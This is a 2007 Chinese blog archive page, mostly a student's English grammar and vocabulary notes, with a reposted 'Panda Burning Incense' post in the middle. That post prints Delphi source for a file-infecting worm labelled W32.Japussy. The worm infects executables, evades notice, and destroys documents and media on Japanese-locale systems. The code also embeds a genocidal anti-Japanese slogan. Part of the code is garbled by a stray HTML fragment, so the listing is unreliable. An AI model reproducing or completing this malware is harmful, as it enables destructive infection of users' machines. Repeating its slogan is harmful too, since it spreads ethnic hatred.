星期一, 二月 26, 2007

寒假英语笔记整理(总结)

相当快啊,假期就结束了,最后一天终于《寒假英语笔记整理》初稿完成。英语有些繁杂的特殊用法比较多,我们老师讲的一些特殊用法是根据教材来的,我觉得比较适合自己的同龄人,对自己以后的复习也是很有帮助的,并且,打字的过程也是复习的过程,现在就差把这些材料编辑了,因为老师讲课,我的笔记做的不一定处处都很有条理,所以,我将利用以后的空闲时间,慢慢整理这些资料。这几天还修改了一些以前发表在博客上的寒假英语笔记整理的文章,改动比较大,几乎每篇都有改动,我没有时间重新发布,隧将这些.docx文件合并打成FlashPaper2和PDF的包,方便大家浏览。(注意,此次版本是可以直接复制的,但请大家在没有得到我的同意之前,切勿擅自出版。如果需要转载,请注明出处、作者姓名。最好和我联系。ybjqx3340@gmail.com在博客上联系也行。)
PDF版本
http://www.51files.com/?KP5D5XZ65KPD2IK1J3UD
FlashPaper2版本
http://www.51files.com/?EBW2UJ69FHNSGS5A0DYN

寒假英语笔记整理8单元

Unit 8

WORDS

Gold 金制的            golden 金色的

Track n.轨道    vt.跟踪

钢steal            银silver             铜copper         铁iron

/ai/

Tie sb./sth. To sth. 把某物捆到某物上

Dive in/into 潜入


 

Put on weight 增肥

Lose weight 减肥

Prepare sth. 准备(sth是准备的内容)

Prepare for sth.(目的)

Prepare to do sth.

Be prepare to do 状态

For sth.

TEXTBOOK

Worth与worthy都是形容词

但是worth只能作表语不能做定语

Be worth of doing sth.

Be worthy to be done

Be worth doing

Congratulations

~ On sth.


 

Win (~over;~against;~the game;~the match)

Beat, defeat直接加赢的对象


 

Prefer to do/doing

Prefer sb. To do sth.

Prefer to do sth. Rather than do sth.

Prefer A to B 比起B更爱A

Ing ing

Would rather do/从句


 

宁愿现在/将来做            一般过去时

宁愿过去做                    过去完成时

都用虚拟语气


 

Every的用法

Every+基数词+pl. 和 every+序数词+n.单

表示 每 例: 每2m一棵树

间隔

"每隔一"every other + n.单

"每隔几"every few + n.pl

关于ING:

Hearing the news, they got excited.

时间状语

Not knowing the phone mum, I can't ring her.

原因状语

He came into the room, holding a book.

伴随状语

The cup dropped to the ground, breaking into pieces.

结果状语

Allow + doing 日常生活

Permit + doing 正式场合

Such as 位于被列举物之前,而for example任意

Rank+序数词(rank前面不加定冠词)

History-making 历史性的

The whole 表示整个

Join 加入组织(成为一员)

Join in 参加活动(不影响活动进程)

Take part in 参加了活动而且起了作用(如比赛选手)

Attend出席e.g.:~meeting

生效

[使生效的人] bring/put sb. into effect

[被生效的人] come into effect

Have good/bad effects on sth./sb. 对有好/坏效果

Have an effect on sth./sb.


 

Cause and effects 因和果

The top three=the first three

e.g.: It is an award given to the top three people in each event in the Olympics.

WORKBOOK

Kill time = waste time

That is to say 这就是说

Prepare a speech/report 拟定问道

Various 多种多样的            canal运河

Seldom 副词 很少

Efforts [C] 努力            [U]精力


 

用法

Rank next to 仅次于 rank with/among+范围

内排名

He divided all his money between his brothers, his son, and his wife.

看起来三者应该用among,但特殊就在于此.

当谓语有"分享"的意思时,即便宾语是多人也必须用between.

还有一种情况,有三者以上但表示的两者之间的关系也用between.

Point e.g.: 10 point

Score 分数

Game与Match

前者是BE后者是AE

前者除了表示比赛还可以表示一场,一局;后者时能表示比赛.

No more than 仅仅

More than 不仅


 

Make sure (that) 确保

Be sure that 对有把握


 

I don't like the way in which she speak to me.

因为yin the way即: she speaks to me in the way.

特殊:这里也可以用that后什么都不写.

I'm on our school team 我在校队

Have nothing to do 和无关

Go in for 参加比赛/考试;选择为职业/爱好.

寒假英语笔记整理-最后一次月考

最后一次月考

Turn to ab. For help 向某人求助

Recognize 辨别                hear 听到

e.g.: I recognize her voice, though she have a bad cold.

The five-year-old son is my sister's son.

You are five years old.

Five-year-old 作定语(当成一个形容词)

Five year old 作表语

额外:son在国外也指girls, boys

Suggestion 在具体指某方面的时候可以是可数名词.


 

Dress的用法.

Sb. Be dressed in sth.

Mr. Smith was dressed in his best clothes.

星期日, 二月 25, 2007

寒假英语笔记整理7单元

Unit7

WORKBOOK

He has no right to represent the company.

Have no right to do sth.没有权利做某事

She is burning to tell you the news.

Be burning to do sth. 迫切做某事

He's suggestion created heated argument.

激烈

Go over 走过去

Over有经历的意味

e.g.: over time = during

     Table manners change over time.

I'm sorry. I didn't mean to … 并非有意…

Make/leave a impression on sb.


 

At table 吃饭时                    at the table 在桌上

Go to school 上学                    go to the school 去学校

Custom 风俗                        habit 习惯(个人)

Advise sb. To do sth.

Advise doing sth.


 

Mix sth. With sth. 缓和某物和某物'在一起

In the morning 早上

Under sth. 在…状态下 e.g.: under attack

[显然表被动意味]


 

Be able to …侧重结果(经过努力)

Can (could) 有能力做


 

On the banks of a river = on a river

During one's lifetime[C] 在某人有生之年

With the help of 在…帮助下


 

现在完成时:

1 动作发生在过去,对现在造成影响(与already, just, yet连用)

2 动作时与从前持续到现在. (与since, for, N years连用)


 

现在完成时的被动语态结构: Has/have + been +p.p.

It is the city largest ever cultural relics repair project.

至于形容词之后,表从时间方面强调最高级意义.

So far            1    至今为止

                2    达到某种程度=to a particular degree

                    e.g.: I can only believe you so far.

By far            …得多(置于比较级之后最高级之前)

Worry        vi. 担心

            vt. 使某人担心

hold one's breath 屏住呼吸

out of breath 上气不接下气(体育运动)

short of breath 同上(病态)

have suggestion for sth. 有关于…的建议

动词不被用于被动的几种情况:

  1. 系动词(look, feed, taste, stay,)
  2. 不表动作的vt. (cost, have, mean, belong to)
  3. 当宾语为反身代词,相互代词,动名词时

    e.g.:    I dress myself

            We help each other

            I prefer swimming

  4. 动词短语 (v.+n.)

    E.g.:    (take place, lost heat灰心, make a face, keep one's word, catch fire)


 

Ruin n. v. 彻底坏        可用于数身体健康

Destroy v. 彻底坏        可以用于希望破灭

Damage n. v. 部分坏    

所以: 这些词都可以和表示程度的副词连用.(Badly…)

Give away 漏了(秘密泄露)

Stand for 物为主语

Represent 物或者人为主语


 

In tears 泪流满面

In order 有条不紊

In a hurry 紧急情况


 

Sunset 日落

寒假英语笔记整理6单元

Unit6

WORKBOOK

注解:在六单元以后,语法等基础知识已经基本上教完,所以更多的是WORKBOOK上的一些具体的题或者问题的解析.

Apologize to sb. About for doing sth.

Mouth full 满嘴

e.g.: it is bad manners to talk with your mouth full.

Spirits 烈酒;情绪(就是pl.形式)


 

虚拟语气

1 表建议,要求,命令的从句中用虚拟语气

相关词汇: suggest, advise, demand, propose, require

构成: 主语+should+动词原形 (肯定意思的时候should可以省略)

2 wish+宾语从句 表不大可能实现的愿望

表现在:主语+过去时

表过去:主语+had+~ed

表将来:主语+could/would+动词原形

特例: I wish that I were a bird.

想到: think of e.g.: I can think of many cases.

我能想到很多情况.

[以前讲过但是很重要的一种表达]

E.g.: as is reported in the newspapers, talks between the two country are making progress.

As置于句首表整个从句部分,被动.

One of … 接复数

The one of … 和 the only one of… 接单数(冠词:the)

Let's drink to the health of all the people present here.

Drink to sth./sb. 为某人或某事干杯.

Drink a toast to sth./sb.


 

It seems that she had no desire to go to the dance.

Have no desire to do sth.

没有做什么的渴望.


 

He is the one of the boys who is good at…


 

Take one's advice 接受某人的意见.

熊猫烧香病毒源码{老贾摘自Simon1103's Blog}

为什么要摘这篇文章:
我本身喜欢电脑,烧香这么厉害,早就想一窥他的真面目,偶然看到了,就发上来,共享一下。
熊猫烧香核心源码 program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < href="javascript:;" onclick="javascript:tagshow(event, '%CD%F8%C2%E7');" target="_self">网络
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.

寒假英语笔记整理-半期考试复习

半期考试复习

Beat 有声音或者连续地敲打

Strike 重击(一下)

躺            lie            lay            lain

下蛋        lay            laid            laid

说谎        lie            lied            lied


 

Happen to / come about 后面什么都不接

关于表将来:

If引导的条件句都已一般现在时表将来 所以才会有主将从现这些

情态动词 如: may be 也是可以表将来的

班期考试总结:

Finally 放句首

我能看出来 I can see that.

See表示结果不能用notice

Dead beat 疲劳

Take turns 轮流

Beg for sth. 央求…

E.g.: the boy begged for one more minute to sleep.

Medical examination 医疗检查

Maybe 不能用于句中 它是状语

领悟:

其实定语从句中关系词的使用说白了就是看从句谓语与先行词的关系.

e.g.: the book about which I heard was written 20 years ago.

就是看heard与book的关系,就是把I heard about the book 分开了.

Make comments on 就…发表评论

Give one's opinion about sth.

In one's opinion 依…某人的意见而言